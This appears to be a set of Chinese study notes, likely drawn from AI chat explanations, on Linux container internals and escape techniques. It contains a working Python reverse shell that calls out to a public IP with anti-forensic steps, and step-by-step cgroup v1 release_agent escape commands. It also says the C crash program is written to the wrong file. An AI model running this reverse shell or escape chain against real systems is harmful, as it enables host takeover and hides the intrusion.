这三张图完美展示了不同运行环境对系统崩溃(Core Dump)的不同治理策略。
第一部分:三张截图的深度对比分析
cat /proc/sys/kernel/core_pattern 的结果揭示了当前系统的管理者希望如何处理"程序尸体"。
1. Hyper-V Ubuntu 虚拟机 (第一张图片)
-
输出 :
|/usr/share/apport/apport -p%p -s%s ... -
含义 : 标准桌面/服务器模式 (调试优先)。
-
这是 Ubuntu 发行版的默认配置。
-
它使用了管道
|将崩溃信息传送给 Apport 工具。 -
目的: Apport 是 Ubuntu 的错误收集系统。当程序崩溃时,它会收集日志、内存快照,并弹窗提示你"程序已崩溃,是否发送错误报告给开发者?"。
-
环境特征: 这是一个完整的、独立的操作系统,注重用户体验和错误调试。
-
2. WSL Ubuntu 容器 (第二张图片)
-
输出 :
|/wsl-capture-crash %t %E %p %s -
含义 : 跨平台融合模式 (互操作性)。
-
这是 WSL (Windows Subsystem for Linux) 的特有配置。
-
它将崩溃信息传送给
wsl-capture-crash工具。 -
目的: 这是一个桥接工具。它负责把 Linux 里的崩溃事件"翻译"并传递给 Windows 宿主机,这样你可能在 Windows 的事件查看器或者 Docker Desktop 的日志里看到这些错误。
-
环境特征: 高度依赖宿主机(Windows),强调与宿主机的无缝集成。
-
3. AI Earth K8s Pod (第三张图片)
-
输出 :
|/dev/null -
含义 : 云原生生产模式 (安全与稳定优先)。
-
它将崩溃信息传送给了
/dev/null(黑洞)。 -
目的 : 直接丢弃,禁止生成 Core Dump。
-
安全 (Security): Core Dump 文件包含程序崩溃时的内存快照,里面可能有密码、密钥等敏感信息。在公有云环境,禁止生成它是为了防止敏感信息泄露。
-
存储 (Storage): 崩溃文件通常很大(几百 MB 到几 GB)。如果程序频繁崩溃,瞬间就能把容器的磁盘塞满,导致整个 Pod 被驱逐。
-
性能: 写入大文件会消耗 IO 资源。
-
-
环境特征: 这是一个受限的、加固过的生产环境。管理员不希望用户处理底层的 Core Dump,或者为了平台稳定性强制关闭了此功能。
-
第二部分:如何判断容器是否"高危"?
1. 如何判断是否以特权模式启动 (--privileged)?
特权模式意味着容器内的 Root 用户拥有宿主机 Root 的几乎所有能力。
检测方法:检查 Capabilities (能力集)。
我们在之前的对话中用到过这个命令:
cat /proc/self/status | grep CapEff
-
判据:
-
如果
CapEff的值是0000003fffffffff(或者非常接近这个值,全是 f),说明是 特权模式 (--privileged)。 -
如果是一个较小的值(如你之前 AI Earth 环境的
0000000000000000),说明不是特权模式。
-
2. 如何判断是否拥有 CAP_SYS_ADMIN?
CAP_SYS_ADMIN 是 Linux 中最强大的单个权限(被称为"给 root 的新 key"),拥有它通常等同于拥有特权模式的大部分危害。
检测方法 :使用 capsh 解码(如果没装 capsh,可以用 Python 解码)。
命令:
# 如果有 capsh 工具
capsh --print
# 或者继续观察 CapEff
# CAP_SYS_ADMIN 对应的是第 21 位(为1则有该权限)
-
判据:
- 在
capsh --print的输出中,查找Current:这一行,看里面有没有sys_admin。如果有,由于你已经是 Root,通过简单的系统调用就能实现逃逸。
- 在
3. 如何判断 /proc 被挂载为可写?
core_pattern 逃逸的前提是攻击者能修改 /proc/sys/kernel/core_pattern 文件。
检测方法 :使用 mount 命令查看挂载属性。
命令:
mount | grep /proc
或者更精确地看 sys 目录(因为 core_pattern 在 /proc/sys 下):
mount | grep "/proc/sys"
-
判据:
-
查看输出中的括号部分
(...)。 -
如果是
ro(Read-Only) :说明是只读的,安全的。你无法修改 core_pattern,该逃逸路径被阻断。 -
如果是
rw(Read-Write) :说明是可读写的,危险的。如果同时你还没有被 Seccomp 限制,你就可以尝试利用 core_pattern 进行逃逸。
-
总结
在您的 AI Earth 环境中:
-
core_pattern指向黑洞 (|/dev/null),说明云厂商已经从配置上屏蔽了该机制。 -
之前查看到的
CapEff没有sys_admin且全 0。 -
K8s 通常默认会将
/proc/sys挂载为只读 (ro)。
结论:您的 AI Earth 开发环境在这些维度上是非常安全的,防御做得很好。
9. 学会xargs分割命令
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
这行命令是在做"数据清洗 "和"精准定位"。
它的核心作用是:从复杂的系统挂载信息中,把逗号分隔的配置参数"拆开"成多行,然后精准找到 OverlayFS(容器文件系统)的 workdir 路径。
在容器逃逸或取证分析中,攻击者或安全人员常用它来寻找容器在宿主机上的"工作目录"(也就是容器写文件的临时中转站)。
1. 命令逐段拆解与数据流向
我们可以把这行命令看作一条流水线,数据经历了"读取 -> 切割 -> 筛选"的过程。
第一步:cat /proc/mounts (读取)
-
作用:输出系统所有的挂载信息。
-
原本的样子 :这是一行非常长、非常乱的信息,参数之间用逗号挤在一起。
overlay / overlay rw,relatime,lowerdir=...,upperdir=...,workdir=/var/lib/docker/overlay2/.../work 0 0(注意看
rw后面的部分,全是用逗号连起来的)
第二步:| xargs -d ',' -n 1 (切割 - 核心技巧)
这是这行命令的灵魂 。通常我们用 xargs 是为了执行命令,但在这里,它被用作**"格式化工具"**。
-
-d ','(Delimiter) :告诉xargs,"不要 按空格或换行符来区分数据,请按逗号来切分数据"。 -
-n 1(Number) :告诉xargs,"每次只处理 1 个数据块"。默认动作是echo(打印)。 -
效果:它把上面那一长串横着的字,按逗号切开,变成了竖着的列表:
overlay / overlay rw relatime lowerdir=... upperdir=... workdir=/var/lib/docker/overlay2/.../work 0 0
第三步:| grep workdir (筛选)
-
作用:在竖着的列表中,只保留包含 "workdir" 的那一行。
-
最终结果:
workdir=/var/lib/docker/overlay2/l/75.../work 0 0
2. 为什么要这样写?(实战意义)
如果你直接 grep workdir /proc/mounts,你会得到一整行 巨长的输出。你很难一眼看清 workdir 到底在哪,也很难用脚本去提取它。
通过 xargs 把"横排"变成"竖排",数据变得结构化了,非常利于后续处理(比如提取路径进行攻击或分析)。
3. 教会你:xargs 的"切分"魔法
这种写法是 Shell 脚本中处理"分隔符字符串"的神技。
场景练习:
假设你有一个文件 users.txt,里面的人名是用分号隔开的:
UserA;UserB;UserC;UserD
你想把它们变成每行一个名字,怎么做?
新手的做法:
使用 sed 或 tr 替换字符:
cat users.txt | tr ';' '\n'
(这也能做到,但 xargs 更通用,尤其是在处理文件名包含特殊字符时)
黑客/运维老手的做法 (你的这行命令):
cat users.txt | xargs -d ';' -n 1
-
-d:定义切割符(哪怕是特殊符号)。 -
-n 1:强制换行显示(一次打印一个)。
10. 认识一个反弹 Shell 的 py 脚本
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "121.43.42.97"
lport = 4444
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
EOF
这是一个极其经典的 Python 反弹 Shell (Reverse Shell) 脚本。
它的核心作用是:"让这台受害机器主动向攻击者的机器(121.43.42.97:4444)发起连接,并将受害机器的命令行控制权(Shell)完全交给攻击者。"
这段代码写得比较"讲究",因为它不仅实现了控制,还包含了一些隐藏痕迹(Anti-Forensics)和交互优化的技巧。
1. 外层包装:写入文件
cat >/tmp/.x.py << EOF
...
EOF
-
含义:这不是 Python 代码,这是 Shell 命令。
-
作用 :把
<< EOF和EOF之间的所有内容,写入到/tmp/.x.py这个文件中。 -
细节:
-
文件名前面有个点
.(.x.py),在 Linux 中代表隐藏文件 (ls默认看不见,要ls -a才能看见)。 -
放在
/tmp目录下,是因为这里通常所有用户都有写权限,且重启后会自动清空,适合存放临时攻击载荷。
-
2. 核心 Python 代码拆解
A. 建立连接 (打电话)
import os, pty, socket
lhost = "121.43.42.97" # 攻击者的 IP (监听端)
lport = 4444 # 攻击者的 端口
def main():
# 创建一个 TCP/IP 套接字对象
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 主动连接到攻击者的机器
s.connect((lhost, lport))
- 逻辑:受害机器主动"打电话"给攻击者。这就是"反弹 (Reverse)"的含义。防火墙通常限制"入站"连接,但不怎么限制"出站"连接,所以反弹 Shell 能穿透防火墙。
B. 核心黑魔法:重定向输入输出 (偷梁换柱)
这是整个脚本最关键、最难懂的三行:
# fileno() 返回套接字的文件描述符(File Descriptor)
# 0 = 标准输入 (Stdin) - 键盘输入
# 1 = 标准输出 (Stdout) - 屏幕显示
# 2 = 标准错误 (Stderr) - 报错信息
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
-
os.dup2(fd1, fd2):这个函数的作用是让 fd2 变成 fd1 的副本。 -
人话解释:
-
本来,Linux 的
0代表键盘,1和2代表显示器。 -
这三行代码执行后,键盘被拔掉了,换成了网线;显示器也被拔掉了,也换成了网线。
-
效果:攻击者在网线那头输入的内容,会直接变成这台机器的键盘输入;这台机器的执行结果,会直接顺着网线发回给攻击者,而不是显示在本地屏幕上。
-
C. 痕迹清理 (反取证)
os.putenv("HISTFILE", '/dev/null')
-
作用 :设置环境变量
HISTFILE指向黑洞 (/dev/null)。 -
目的 :不记录历史命令 。(默认
HISTFILE环境变量路径为~/.bash_history)通常你在 Shell 里敲的命令会被记在~/.bash_history里,黑客为了不让管理员发现他干了什么,特意加了这一行来禁用历史记录。
D. 启动终端 (获得 Shell)
pty.spawn("/bin/bash")
-
为什么不用
os.system('/bin/bash')?-
os.system只是执行命令。 -
pty.spawn会模拟一个伪终端 (Pseudo-Terminal)。
-
-
pty的好处 :它生成的 Shell 更加稳定,看起来像一个真正的登录终端。支持su、sudo等需要交互的命令,甚至支持 Vim 编辑器,且 Ctrl+C 不会轻易断开连接。
E. 销毁证据 (自删除)
os.remove('/tmp/.x.py')
s.close()
-
作用 :脚本运行起来后,立刻把硬盘上的
/tmp/.x.py文件删掉。 -
目的 :"阅后即焚"。即使管理员发现进程异常,去硬盘上找这个文件也找不到了(因为它已经加载进内存并删除了源文件)。
3. 完整的攻击流程图解
-
攻击者 (Attacker) :在
121.43.42.97上监听端口:nc -lvvp 4444。 -
受害者 (Victim):执行这段 Shell 命令。
-
连接建立:Python 脚本启动,连接到攻击者。
-
管道接通:脚本把受害者的输入输出"焊接"到网络连接上。
-
启动 Bash:脚本启动 Bash,Bash 的输入输出通过网络流向攻击者。
-
证据销毁:脚本删除自己。
-
结果 :攻击者的
nc界面变成了一个受害者的 Shell 终端。
4. 安全警示
⚠️ 绝对不要在自己的机器上直接运行这段代码!
代码中的 IP 121.43.42.97 是一个真实的公网 IP。如果你运行了这段代码,你等于把你的电脑控制权拱手送给了一个陌生人(可能是黑客或者是某个僵尸网络服务器)。
如果你想测试,请务必将 IP 修改为你自己控制的内网测试机 IP(如 127.0.0.1)。
11. 认识一个崩溃的C语言程序
cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}
EOF
这是一个非常经典的 C 语言**"自杀"程序**。
它的唯一目的就是:制造一个标准的"段错误" (Segmentation Fault),让程序立刻崩溃。
在 Linux 系统编程、调试,或者我们刚才聊到的 Core Dump 逃逸攻击 中,这段代码常被用作"触发器"。
1. 代码逐行解析
cat >/tmp/x.c << EOF
...
EOF
这是 Shell 命令。作用 :把 << EOF 和 EOF 之间的所有内容,写入到 /tmp/.x.py 这个文件中。
#include <stdio.h> // 引入标准输入输出库(虽然这程序里根本没用到打印,只是习惯写法)
int main(void)
{
int *a = NULL; // 【关键第一步】定义一个指针 a,并把让它指向 NULL(内存地址 0x0)
*a = 1; // 【关键第二步】试图往指针 a 指向的地方写入数字 1
return 0; // 程序正常结束(这行代码永远不会被执行)
}
2. 核心原理:空指针解引用 (Null Pointer Dereference)
要看懂这段代码,您需要理解两个概念:
-
NULL(空地址):-
在计算机内存中,地址
0(0x00000000) 是受保护的保留区。 -
操作系统规定:严禁任何程序读写这个地址。这就像是系统里的"高压线",谁碰谁死。
-
-
*a = 1(解引用赋值):-
这行代码的意思是:"去地址
a所在的地方,把数字1写进去。" -
因为
a是NULL,所以程序试图去写地址0。
-
结果:
CPU 的内存管理单元 (MMU) 发现有人试图非法访问受保护的内存地址 0,立刻向操作系统报告。操作系统铁面无私,直接发送 SIGSEGV (信号 11) 杀死该进程。
终端会显示那句著名的报错:
Segmentation fault (core dumped) (段错误,核心已转储)
3. 这段代码有什么用?
在正常开发中,这是严重的 Bug。但在特殊场景下,它是极其好用的工具:
场景一:触发 Core Dump (呼应上一题)
还记得我们刚才讨论的 core_pattern 容器逃逸吗?
-
黑客修改了
/proc/sys/kernel/core_pattern,埋好了雷(把处理程序指向恶意脚本)。 -
黑客需要引爆这个雷。
-
这段 C 代码就是引信。
-
黑客编译并运行这段代码。
-
程序崩溃 -> 产生 Core Dump 信号。
-
内核捕获信号 -> 触发
core_pattern里的恶意脚本。 -
逃逸成功。
-
场景二:测试调试工具
运维人员想测试系统能不能自动收集崩溃日志(比如测试 kdump 或 Apport 是否工作正常),就会故意跑这段代码,看系统有没有生成日志。
4. 怎么运行它?
您可以在 Linux 终端里试一下(这很安全,只会崩掉这个小测试程序,不会影响系统):
# 1. 生成源码文件
cat >/tmp/crash.c << EOF
#include <stdio.h>
int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}
EOF
# 2. 编译它 (需要安装 gcc)
gcc /tmp/crash.c -o /tmp/crash
# 3. 运行它 (见证崩溃)
/tmp/crash
预期输出:
Segmentation fault
或者
Segmentation fault (core dumped)
总结
这段代码虽然只有几行,但它是一个"精准的崩溃制造机"。
-
对开发者:它是需要避免的空指针错误。
-
对黑客 :它是敲开内核大门、触发恶意流程的"敲门砖"
12. 学会看 /proc/version 输出信息
# 我的HyperV上的Ubuntu虚拟机
user@wangminghaoserver:~$ cat /proc/version
Linux version 6.8.0-90-generic (buildd@lcy02-amd64-092) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025
# 我的WSL上的Ubuntu
user@Hao:~$ cat /proc/version
Linux version 6.6.87.2-microsoft-standard-WSL2 (root@439a258ad544) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025
# AI earth上的容器
Linux version 5.10.134-18.0.5.lifsea8.x86_64 (mockbuild@h87c01383.na61) (gcc (GCC) 10.2.1 20200825 (Alibaba 10.2.1-3.8 2.32), GNU ld version 2.35-12.3.al8) #1 SMP Sat Nov 22 23:26:24 CST 2025
Command: cat /proc/version
这三张图分别是我在HyperV的Ubuntu虚拟机、WSL上的Ubuntu容器、AI earth的K8s的pod容器上执行完cat /proc/version命令后的结果.
这三张图展示了 cat /proc/version 的输出,它是识别 Linux 系统"内核身份"的最直接方式。
通过分析这三张图,我们可以清晰地看到标准 Linux 、微软定制 Linux 和 云厂商定制 Linux 之间的区别。
第一部分:如何读懂 /proc/version?
cat /proc/version 返回的信息通常由 4 个核心部分组成。我们以您的 Hyper-V 截图为例:
Linux version 6.8.0-90-generic (buildd@lcy02-amd64-092) (x86_64-linux-gnu-gcc-13 ... ) #91-Ubuntu SMP ...
-
Linux version [内核版本号]:
- 这是最重要的信息。例如
6.8.0-90-generic。它告诉您内核的新旧程度和类型。
- 这是最重要的信息。例如
-
([构建者信息]):
- 例如
(buildd@lcy02...)。告诉您是谁编译了这个内核。
- 例如
-
([编译器信息]):
- 例如
(x86_64-linux-gnu-gcc-13 ...)。告诉您用来编译内核的 GCC 版本。这里往往包含发行版的信息(如 Ubuntu)。
- 例如
-
[构建时间和类型]:
- 例如
#91-Ubuntu SMP ... 2025。告诉您这是第几次构建,以及构建的具体时间。
- 例如
第二部分:三张图的深度对比分析
1. Hyper-V Ubuntu 虚拟机
-
核心输出 :
Linux version 6.8.0-90-generic ... (Ubuntu 13.3.0...) -
关键词解析:
-
6.8.0-90-generic:generic是 Ubuntu 通用内核的标准后缀。这说明这是一个标准的、未经过特殊魔改的 Linux 发行版内核。 -
Ubuntu: 编译器信息中明确出现了 Ubuntu 字样,确认了发行版身份。 -
时间 :
Nov 18 2025。非常新的内核。
-
-
结论 : 这是一个标准的、原生的 Ubuntu 操作系统。Hyper-V 在这里只是充当了硬件模拟层,操作系统本身运行的是官方发布的标准内核。
2. WSL 上的 Ubuntu 容器
-
核心输出 :
Linux version 6.6.87.2-microsoft-standard-WSL2 ... -
关键词解析:
-
microsoft-standard-WSL2: 这是最明显的特征! 这表明该内核不是 Ubuntu 官方提供的,而是微软 (Microsoft) 专门为 WSL2 编写和编译的定制内核。 -
6.6.87.2: 内核版本也比较新。
-
-
结论 : 这是一个 Windows Subsystem for Linux (WSL2) 环境。虽然用户空间跑的是 Ubuntu 的软件,但底层的核心(Kernel)是微软提供的。这解释了为什么它能和 Windows 文件系统互通。
3. AI Earth 的 K8s Pod 容器
-
核心输出 :
Linux version 5.10.134-18.0.5.lifsea8.x86_64 ... (Alibaba ...) -
关键词解析:
-
lifsea8: 这是一个非常关键的信号。LifseaOS 是阿里云专门为容器和云原生场景打造的轻量级操作系统。 -
Alibaba: 编译器信息中出现了Alibaba,说明这是阿里内部构建的版本。 -
5.10.134: 注意这里的内核版本是 5.10 (LTS 长期支持版),比前两个环境的 6.x 要旧。- 原因 :云厂商的生产环境通常追求极度的稳定性,往往会锁定在一个经过长期验证的 LTS 版本(如 5.10),而不是追求最新的内核特性。
-
-
结论 : 这是一个典型的阿里云生产环境。它运行在阿里自研的 LifseaOS 或 Alibaba Cloud Linux 上,使用的是经过阿里深度定制和加固的内核,以适应高并发的云计算需求。
如何从 /proc/version 中提取有用信息?
下次您再看这个结果时,请按以下步骤"破案":
-
找"后缀":
-
看到
generic-> 它是普通的家用/服务器 Linux (如 Ubuntu, Debian)。 -
看到
microsoft或WSL-> 它寄生在 Windows 上。 -
看到
el7,el8-> 它是 RedHat/CentOS 系。 -
看到
lifsea,alibaba,amzn(Amazon) -> 它是云厂商定制的系统。
-
-
看"版本号":
-
5.x 或 4.x: 通常是企业级、生产环境,追求稳定(如 AI Earth)。
-
6.x: 通常是开发环境、个人电脑或最新的发行版(如您的 WSL 和 Hyper-V)。
-
-
看"编译器":
- 括号里的文字通常会暴露它背后的"金主"或"发行商"(如
Ubuntu,Red Hat,Alibaba)。
- 括号里的文字通常会暴露它背后的"金主"或"发行商"(如
通过这行简单的命令,您不仅知道了系统版本,还直接看穿了它底层的基础设施供应商(是微软、Ubuntu 官方,还是阿里云)。
13. 学会看 ps -p 1 输出信息


这两张图展示了 ps -p 1 命令的输出结果。
这个命令的作用是:查看 PID 为 1 的进程(也就是"一号进程")是谁。
在 Linux 世界里,PID 1 是所有其他进程的"老祖宗"。系统启动后的第一个进程就是它,其他所有进程要么是它的子进程,要么是它子进程的子进程。看清了 PID 1 是谁,就看清了这个系统的"灵魂"和"定位"。
第一张图:虚拟机 / WSL 环境
对应您之前的 VM/WSL 环境
输出:
PID TTY TIME CMD
1 ? 00:00:50 systemd
1. 每一行是什么意思?
-
PID: 1 ------ 进程 ID 为 1。这是系统的初始化进程 (Init Process)。
-
TTY: ? ------ 问号表示该进程不属于任何终端 (Terminal)。它是后台守护进程 (Daemon),系统一启动它就在那儿了,不需要人登录去敲命令启动它。
-
TIME: 00:00:50 ------ 从启动到现在,它一共占用了 CPU 50秒的时间。这说明它干了不少活(管理服务、日志等)。
-
CMD: systemd ------ 这是关键! 它的名字叫
systemd。
2. 能获取到什么有用信息?
-
身份确认:这是一个"全功能"操作系统。
systemd是现代 Linux 发行版(如 Ubuntu, CentOS 7+)的标准初始化系统。它非常庞大且功能强大。
-
能力确认:您可以使用
systemctl。- 因为 PID 1 是
systemd,所以您可以在这个环境里使用systemctl start nginx、systemctl enable docker等命令来管理后台服务。
- 因为 PID 1 是
-
环境特征 :它负责挂载文件系统、配置网络、管理用户登录、记录日志(journald)等。这符合虚拟机 或WSL2(WSL2 现在默认启用 systemd)的特征。
第二张图:AI Earth 开发环境
对应您之前的 AI Earth 容器环境
输出:
PID TTY TIME CMD
1 ? 00:00:02 tini
1. 每一行是什么意思?
-
PID: 1 ------ 同样是一号进程。
-
TTY: ? ------同样是后台运行。
-
TIME: 00:00:02 ------ 只占用了 2 秒 CPU。说明它非常轻量,几乎不干什么重活。
-
CMD: tini ------ 这是关键! 它的名字叫
tini。
2. 能获取到什么有用信息?
-
身份确认:这是一个"专用"容器环境。
tini(A tiny but valid init for containers) 是一个专门为容器设计的、极其微小的初始化进程。它不是一个完整的操作系统管理器。
-
功能限制:您不能使用
systemctl。-
因为 PID 1 不是
systemd,如果您在这个环境里敲systemctl start ...,系统会报错:System has not been booted with systemd as init system。 -
在这里,启动服务通常直接运行命令(如直接运行
jupyter lab),而不是通过服务管理器。
-
-
tini的作用:-
在容器里,如果没有一个合适的 PID 1,当您按
Ctrl+C时,进程可能杀不掉;或者产生了"僵尸进程"没人回收。 -
tini的唯一作用就是:当个保姆。它负责转发信号(让你能关掉程序)和回收僵尸进程,然后把实际的业务进程(比如 JupyterLab)作为它的子进程启动起来。
-
总结与对比
| 维度 | 图 1 (虚拟机/WSL) | 图 2 (AI Earth) |
|---|---|---|
| PID 1 进程名 | systemd |
tini |
| 定位 | 管家 / CEO | 保姆 / 代理人 |
| 复杂程度 | 极高 (管理整个 OS 的吃喝拉撒) | 极低 (只负责信号转发和收尸) |
| 能否用 systemctl | 能 (它是服务管理专家) | 不能 (它听不懂) |
| 本质区别 | 像一台真正的电脑 | 像一个运行的软件程序 |
一句话教您看懂:
如果 ps -p 1 看到是 systemd(或者老系统的 init),那这就是个完整的系统;如果看到是 tini、bash、python 或 java,那这就是个应用容器。
14. systemctl 命令
第一部分:systemctl 常用命令速查
systemctl 是 Systemd 的主命令,用来管理系统服务(Service)和系统状态。
假设我们要管理的软件是 nginx(也可以换成 docker, ssh 等)。
1. 服务生命周期管理(立刻生效)
-
启动服务:
sudo systemctl start nginx -
停止服务:
sudo systemctl stop nginx -
重启服务(先停后开,常用于修改配置后):
sudo systemctl restart nginx -
重载配置(不中断服务,只重新读取配置文件):
sudo systemctl reload nginx -
查看状态(最常用,看服务是死是活,以及报错日志):
systemctl status nginx
2. 开机自启管理(下次开机生效)
-
设置开机自启:
sudo systemctl enable nginx -
取消开机自启:
sudo systemctl disable nginx -
查询是否设置了开机自启:
systemctl is-enabled nginx
3. 系统排查常用
-
列出所有正在运行的服务:
systemctl list-units --type=service -
查看启动失败的服务(排查系统故障神器):
systemctl --failed
第二部分:systemd-detect-virt 是干啥的?
-
含义 :它是 Systemd 软件包自带的一个小工具,全称是 "Systemd Detect Virtualization"。
-
作用 :用来侦探当前环境是不是虚拟化环境,以及是哪种虚拟化。
-
返回值:
-
如果是物理机(裸金属),通常返回
none。 -
如果是虚拟机/容器,它会返回具体的标识,例如:
kvm,oracle(VirtualBox),wsl,docker等。
-
您可以去您的 WSL 上试一下:
systemd-detect-virt
# 输出可能是: wsl
第三部分:为什么在 AI Earth 上报错 "not found"?
报错内容:
/bin/sh: 1: systemd-detect-virt: not found
根本原因:
因为 AI Earth 的容器里根本没有安装 Systemd 软件包。
让我们把逻辑串联起来,回顾一下您之前的发现:
-
证据一 (
ps -p 1):-
WSL/虚拟机 :PID 1 是
systemd。这意味着系统里安装了完整的 Systemd 套件。 -
AI Earth :PID 1 是
tini。这意味着系统里没有运行 Systemd。
-
-
证据二 (软件包依赖):
-
systemd-detect-virt这个命令是属于systemd这个软件包的一部分。 -
在 WSL/虚拟机中 :因为这是一个完整的 OS,默认安装了
systemd包,所以自然就有systemd-detect-virt这个工具。 -
在 AI Earth 中 :这是一个精简的容器 。为了节省体积和资源,容器镜像制作时通常不会安装
systemd(因为容器用tini就够了,不需要庞大的 systemd)。既然没装这个包,自然就找不到这个命令。
-
总结:
就好比您想用"Siri",但您手里拿的是一部"安卓手机"。
-
WSL/虚拟机 是 iPhone(装了 iOS/Systemd),所以能唤醒 Siri (
systemd-detect-virt)。 -
AI Earth 是安卓(没装 iOS/Systemd),系统告诉你:"我没听说过 Siri 这个人" (
not found)。
那在 AI Earth 这种容器里怎么判断虚拟化呢?
既然 systemd 的工具用不了,我们用更通用的方法(也就是之前教您的):
-
看文件 :检查根目录有没有
.dockerenv文件。ls -al /.dockerenv -
看 Cgroup:
cat /proc/1/cgroup
这就是为什么我在之前的回答中强调:在容器环境中,不要依赖 systemctl 或 systemd 相关的命令,因为它们大概率是不存在的。
15. 认识cgroups v1的release_agent
核心技术滥用了一个遗留的 cgroups v1 功能 ,称为 notify_on_release。通过在 cgroup 层次结构中启用此功能并设置 release_agent(它指向容器文件系统路径下宿主机上攻击者控制的脚本),攻击者可以在该 cgroup 中的最后一个进程退出时,使该脚本以宿主机上的特权 root 身份执行。
这是一个非常高阶且经典的容器逃逸技巧。这招之所以狠,是因为它利用了 Linux 内核本身的一个为了"清理垃圾 "而设计的功能,把它变成了"特权执行通道"。
1. 概念解析:这两个文件是干嘛的?
在 Cgroup v1 的文件系统中,这俩是黄金搭档:
-
notify_on_release(信号灯)-
位置:存在于 Cgroup 的每一个子目录中。
-
类型:布尔值(0 或 1)。
-
作用 :这是一个开关。如果设置为
1,当这个 Cgroup 目录里的最后一个进程退出(也就是目录变成空的时候),内核就会知道:"哦,这个组没人用了,该干活了。"
-
-
release_agent(执行官)-
位置 :只存在于 Cgroup 挂载点的根目录 (Root Directory)。
-
类型:文件路径字符串。
-
作用 :这里面写的是一个可执行脚本的路径 。当内核看到某个开启了
notify_on_release的 Cgroup 变空时,内核就会以宿主机 Root 权限去执行这个文件中指定的脚本。
-
通俗类比:
-
你定了一个规矩(
release_agent):只要房间一空,就叫保洁阿姨来打扫。 -
你在房间门口挂个牌子(
notify_on_release):这个房间需不需要打扫。 -
当人走光了,内核看到牌子是"要打扫",就叫保洁阿姨(Root 权限)过来执行你写在规矩里的操作。
2. 逃逸的前提条件
这个漏洞利用条件比较苛刻,通常需要满足以下条件(也就是通常说的"特权容器"):
-
容器以特权模式启动 (
--privileged) :或者至少拥有CAP_SYS_ADMIN权限。这是因为我们需要执行mount命令来挂载 Cgroup 控制器。 -
宿主机使用 Cgroup v1 :Cgroup v2 移除了
release_agent的这种利用方式,大大提高了安全性。 -
AppArmor/Seccomp 未限制 :我们需要写入
/sys/fs/cgroup下的敏感文件。
3. 详细攻击流程与 Shell 命令
核心逻辑:
我们需要在容器里挂载 Cgroup,创建一个子 Cgroup,开启它的通知开关。然后,我们制造一个恶意脚本,把它在宿主机上的路径写入 release_agent。最后,我们在子 Cgroup 里生成一个进程并立即结束它,诱骗内核以 Root 权限执行我们的脚本。
步骤一:准备环境(挂载 Cgroup)
我们选择一个子系统(通常选 rdma 或者 memory,因为它们不容易被占用),把它挂载到容器里的临时目录。
# 1. 创建挂载点
mkdir /tmp/cgroup
# 2. 挂载 rdma 子系统 (只要是 cgroup v1 控制器都行)
mount -t cgroup -o rdma cgroup /tmp/cgroup
步骤二:布置"空房间"(创建子 Cgroup)
# 1. 创建一个子目录 'x'
mkdir /tmp/cgroup/x
# 2. 打开它的"打扫信号灯"
echo 1 > /tmp/cgroup/x/notify_on_release
步骤三:寻找"穿墙路径"(核心难点)
我们在容器里写的恶意脚本(比如 /cmd),内核在宿主机上是找不到 /cmd 这个路径的,因为隔离了。
我们需要找到容器内的 /cmd 文件在宿主机硬盘上的真实绝对路径。
这通常通过 OverlayFS 的挂载信息来找:
# 读取 mtab,找到 overlay 的 upperdir 路径
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
# 这样我们就拼出了 cmd 在宿主机上的真实位置
echo "$host_path/cmd" > /tmp/cgroup/release_agent
注:这一步是告诉内核,"当需要执行清理时,请去宿主机的 $host_path/cmd 找脚本执行"。
步骤四:编写恶意脚本 (Payload)
这个脚本会被宿主机内核以 Root 权限执行。我们让它把宿主机的根目录挂载进来,或者直接反弹 Shell。
# 创建脚本文件
cat > /cmd <<EOF
#!/bin/sh
# 这里的 /bin/sh 是宿主机的 sh
# 攻击动作:在宿主机创建一个文件 verify_escape
ps -ef > /output_on_host
EOF
# 给脚本执行权限
chmod +x /cmd
步骤五:触发陷阱 (Trigger)
现在万事俱备,只需要让子 Cgroup x 经历一次"从有进程到无进程"的过程。
# 1. 启动一个进程,把它的 PID 写入子 Cgroup
sh -c "echo \$$ > /tmp/cgroup/x/cgroup.procs"
# 2. 这个 sh 进程瞬间执行完退出了
# 3. 此时 /tmp/cgroup/x 变空了
# 4. 内核检测到 notify_on_release=1
# 5. 内核读取 release_agent 的内容(指向宿主机上的 /cmd)
# 6. 内核执行 /cmd
4. 总结
-
漏洞本质:利用了 Cgroup v1 为了管理方便留下的"回调函数"接口,配合特权容器打破了文件路径的隔离。
-
如何防御:
-
不要给
CAP_SYS_ADMIN:这是万恶之源。 -
使用 AppArmor :禁止容器挂载 (
mount) 操作。 -
升级到 Cgroup v2:现代 K8s 环境(如您之前展示的 Hyper-V 和 WSL)大多已经支持 v2,这种利用方式在 v2 中已失效。
-
这就是为什么在您的 AI Earth 环境(Cgroup v1)中,如果权限配置不当,这种逃逸风险是真实存在的;而在您的 WSL(Cgroup v2)中,这种特定的脚本是跑不通的。
16. 学会 /proc/self/exe 的含义
1. /proc/self/exe:系统的"照妖镜"
-
含义:
-
这是一个符号链接 (Symbolic Link)。
-
它永远指向**当前正在运行该进程的那个可执行文件(二进制程序)**在硬盘上的绝对路径。
-
如果你运行
/bin/ls,那么/proc/self/exe就指向/bin/ls。
-
-
作用:
-
自省:程序可以通过读这个链接,知道"我是谁?我被安装在哪里?"
-
安全隐患(重点) :如果我有权限读取
